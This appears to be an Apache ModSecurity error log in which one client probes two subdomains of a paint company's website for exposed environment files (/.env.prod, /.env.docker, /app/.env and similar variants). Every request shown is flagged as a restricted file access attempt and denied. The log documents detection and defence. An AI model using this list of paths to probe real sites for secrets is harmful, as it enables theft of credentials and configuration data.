[Sat Oct 24 22:07:30.117082 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1kYkCehrQoNuVtn8-PggAAAAM"]
[Sat Oct 24 22:07:30.135756 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1kYlQTwXU83R4GW_mbnwAAACg"]
[Sat Oct 24 22:07:30.135933 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1kYlQTwXU83R4GW_mbnwAAACg"]
[Sat Oct 24 22:07:30.136223 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1kYlQTwXU83R4GW_mbnwAAACg"]
[Sat Oct 24 22:07:30.250706 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1kYkCehrQoNuVtn8-PgwAAAAM"]
[Sat Oct 24 22:07:30.250935 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1kYkCehrQoNuVtn8-PgwAAAAM"]
[Sat Oct 24 22:07:30.251263 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1kYkCehrQoNuVtn8-PgwAAAAM"]
[Sat Oct 24 22:07:30.294941 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1kYlQTwXU83R4GW_mboAAAACg"]
[Sat Oct 24 22:07:30.295161 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1kYlQTwXU83R4GW_mboAAAACg"]
[Sat Oct 24 22:07:30.295504 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1kYlQTwXU83R4GW_mboAAAACg"]
[Sat Oct 24 22:07:30.371905 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1kYkCehrQoNuVtn8-PhAAAAAM"]
[Sat Oct 24 22:07:30.372252 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1kYkCehrQoNuVtn8-PhAAAAAM"]
[Sat Oct 24 22:07:30.372611 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1kYkCehrQoNuVtn8-PhAAAAAM"]
[Sat Oct 24 22:07:30.440151 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1kYlQTwXU83R4GW_mboQAAACg"]
[Sat Oct 24 22:07:30.440392 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1kYlQTwXU83R4GW_mboQAAACg"]
[Sat Oct 24 22:07:30.440791 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1kYlQTwXU83R4GW_mboQAAACg"]
[Sat Oct 24 22:07:30.506480 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1kYkCehrQoNuVtn8-PhQAAAAM"]
[Sat Oct 24 22:07:30.506703 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1kYkCehrQoNuVtn8-PhQAAAAM"]
[Sat Oct 24 22:07:30.507105 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1kYkCehrQoNuVtn8-PhQAAAAM"]
[Sat Oct 24 22:07:30.605229 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1kYlQTwXU83R4GW_mbogAAACg"]
[Sat Oct 24 22:07:30.605496 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1kYlQTwXU83R4GW_mbogAAACg"]
[Sat Oct 24 22:07:30.605833 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1kYlQTwXU83R4GW_mbogAAACg"]
[Sat Oct 24 22:07:30.671572 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1kYkCehrQoNuVtn8-PhgAAAAM"]
[Sat Oct 24 22:07:30.671833 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1kYkCehrQoNuVtn8-PhgAAAAM"]
[Sat Oct 24 22:07:30.672152 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1kYkCehrQoNuVtn8-PhgAAAAM"]
[Sat Oct 24 22:07:30.724947 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1kYlQTwXU83R4GW_mbowAAACg"]
[Sat Oct 24 22:07:30.725161 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1kYlQTwXU83R4GW_mbowAAACg"]
[Sat Oct 24 22:07:30.725524 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1kYlQTwXU83R4GW_mbowAAACg"]
[Sat Oct 24 22:07:30.826499 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1kYkCehrQoNuVtn8-PhwAAAAM"]
[Sat Oct 24 22:07:30.826738 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1kYkCehrQoNuVtn8-PhwAAAAM"]
[Sat Oct 24 22:07:30.827049 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1kYkCehrQoNuVtn8-PhwAAAAM"]
[Sat Oct 24 22:07:30.854805 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1kYlQTwXU83R4GW_mbpAAAACg"]
[Sat Oct 24 22:07:30.855005 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1kYlQTwXU83R4GW_mbpAAAACg"]
[Sat Oct 24 22:07:30.855295 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1kYlQTwXU83R4GW_mbpAAAACg"]
[Sat Oct 24 22:07:30.925809 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1kYkCehrQoNuVtn8-PiAAAAAM"]
[Sat Oct 24 22:07:30.925990 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1kYkCehrQoNuVtn8-PiAAAAAM"]
[Sat Oct 24 22:07:30.926285 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1kYkCehrQoNuVtn8-PiAAAAAM"]
[Sat Oct 24 22:07:30.954278 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1kYlQTwXU83R4GW_mbpQAAACg"]
[Sat Oct 24 22:07:30.954420 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1kYlQTwXU83R4GW_mbpQAAACg"]
